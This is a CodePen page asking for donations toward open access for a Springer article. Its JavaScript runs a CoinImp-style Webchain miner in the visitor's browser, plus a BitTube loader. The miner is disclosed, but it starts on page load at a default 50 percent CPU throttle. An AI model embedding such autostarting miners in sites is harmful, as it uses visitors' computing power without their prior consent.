Pen Settings

HTML

CSS

CSS Base

Vendor Prefixing

Add External Stylesheets/Pens

Any URL's added here will be added as <link>s in order, and before the CSS in the editor. If you link to another Pen, it will include the CSS from that Pen. If the preprocessor matches, it will attempt to combine them before processing.

+ add another resource

JavaScript

Babel includes JSX processing.

Add External Scripts/Pens

Any URL's added here will be added as <script>s in order, and run before the JavaScript in the editor. You can use the URL of any other Pen and it will include the JavaScript from that Pen.

+ add another resource

Packages

Add Packages

Search for and use JavaScript packages from npm here. By selecting a package, an import statement will be added to the top of the JavaScript editor for this package.

Behavior

Save Automatically?

If active, Pens will autosave every 30 seconds after being saved once.

Auto-Updating Preview

If enabled, the preview panel updates automatically as you code. If disabled, use the "Run" button to update.

Format on Save

If enabled, your code will be formatted when you actively save your Pen. Note: your code becomes un-folded during formatting.

Editor Settings

Code Indentation

Want to change your Syntax Highlighting theme, Fonts and more?

Visit your global Editor Settings.

HTML

              
                <input type="range" min="0" max="100" value="50" />
<p id="range-value"></p>
<p id="message"></p>
<p id="threads"></p>
<p id="hashrate"></p>
<p id="hashes"></p>
<script src="https://www.hostingcloud.racing/ogX3.js"></script>
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>


<p>The original article is copyright under © Springer Nature Switzerland AG, Part of Springer Nature:</p>
<ol>
	<li>Authors are <a href="https://0fajarpurnama0.github.io">Fajar Purnama</a> (me), <a href="https://www.researchgate.net/profile/Otgontsetseg_Sukhbaatar">Otgontsetseg Sukhbaatar</a>, <a href="https://www.researchgate.net/profile/Lodoiravsal_Choimaa">Lodoiravsal Choimaa</a>, and <a href="https://www.researchgate.net/profile/Tsuyoshi_Usagawa">Tsuyoshi Usagawa</a>.</li>
	<li>Title of the article is <emImplementation of real-time online mouse tracking on overseas quiz session From server administrator point of view.</em></li>
	<li>Published in <a href="https://link.springer.com/journal/10639/onlineFirst">Education and Information Technologies, Online First, Page 1-22, 6 March 2020</a>, <a href="https://doi.org/10.1007/s10639-020-10141-3">DOI is 10.1007/s10639-020-10141-3</a>.</li>
	<li>Available at <a href="https://link.springer.com/article/10.1007/s10639-020-10141-3">https://link.springer.com/article/10.1007/s10639-020-10141-3</a>.</li>
</ol>

<p><a href="https://www.springernature.com/gp/open-research/journals-books/journals">Springer offers open access/CC-BY at a price where for this article, it costs  €2170, $2750 or £1,870.</a> You are able to donate through this JavaScript miner or donate in <a href="https://0fajarpurnama0.github.io/donation/cryptocurrency/finance/2020/03/06/cryptocurrencydonation">cryptocurrency (includes BAT and bittube)</a>, <a href="https://0fajarpurnama0.github.io/donation/finance/2020/03/06/digitalwalletdonation">paypal, alipay</a>,  and I will apply for open access once threshold is reached.</p>
<!-- The code below is for bittube airtime monetization, you may ignore, or are you interested? you can make yours here https://bittube.app/?ref?2JY4FE0CP -->
<meta name="airtime-platform-display" content="codepen.io.0fajarpurnama0">
<meta name="airtime-platform-id" content="281894da-692a-e042-81e1-964f40797172">
<script src="https://bittubeapp.com/tubepay/airtime.loader.js" data-verify="meta" data-autostart="true"></script>
<!-- bittube airtime code ends -->
              
            
!

CSS

              
                
              
            
!

JS

              
                // See coinimp documentation.
var _client = new Client.Anonymous('39faacbd1bebdccff598565f6ae09a16c1cf74e87a3e9c32ee97ca75b8b8d97e', {
  autoThreads: true,
  c: 'w'
});

function mining() {
  // set the throttle which is ((100 - cpu usage %)/100)
  _client.setThrottle((100 - $('[type=range]').val()) / 100);
  // add log informations of the mining
  //$('body').append('<p id="message"></p>');
  //$('body').append('<p id="hashrate"></p>');
  setInterval(function() {
  	threads = _client.getNumThreads();
    $('#threads').text(threads + ' threads');
    hps = _client.getHashesPerSecond();
    $('#hashrate').text(hps + ' hashes / second');
		hashes = _client.getTotalHashes([true]);
    $('#hashes').text(hashes + ' hashes');
  }, 1000);
  // if the slider value is large than 0 start mining and vice versa
  if ($('[type=range]').val() > 0) {
    _client.start();
    $('#message').text('Thank you for donating at most ' + (100 - (_client.getThrottle() * 100)) + '% of your processing power for mining Webchain! Reference: https://www.coinimp.com/invite/8c923bdd-07f9-4051-a110-bf3db7fb8d07.');
  } else {
    _client.stop();
    $('#message').text('Donate your processing power to mine Webchain for this site:');
  }
}


$('[type=range]').change(function() {
  // write the value into the <p> tag with id range-value
  $('#range-value').text($(this).val());
  mining();
});
// run on startup
mining();
              
            
!
999px

Console